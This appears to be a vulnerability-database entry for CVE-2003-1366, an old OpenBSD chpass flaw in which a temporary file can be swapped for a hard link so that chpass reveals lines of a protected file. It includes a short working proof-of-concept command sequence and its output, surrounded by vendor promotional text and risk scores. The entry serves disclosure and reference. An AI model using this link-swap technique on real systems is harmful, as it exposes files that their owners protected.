OpenBSD 2.x/3.x - CHPass Temporary File Link File Content Revealing
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
| CVE-2003-1366 | 17 Oct 200701:00 | – | cve | |
| CVE-2003-1366 | 17 Oct 200701:00 | – | cvelist | |
| EUVD-2003-1356 | 7 Oct 202500:30 | – | euvd | |
| CVE-2003-1366 | 31 Dec 200305:00 | – | nvd |
source: https://www.securityfocus.com/bid/6748/info
It has been reported that a problem with chpass included with OpenBSD may allow local users to gain access to the content of specific files. This vulnerability requires that lines in the target file be constructed in a specific format. This problem also affects the chfn and chsh programs which are hard links to the chpass binary.
# echo "shell: secret_data" >/tmp/sec
# chmod 600 /tmp/sec
$ chpass # ^Z in the editor
[1]+ Stopped chpass
$ rm /var/tmp/pw.Loi22925
$ ln /tmp/sec /var/tmp/pw.Loi22925
$ fg # then quit the editor
chpass
chpass: secret_data: non-standard shellData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 23.3
EPSS0.00497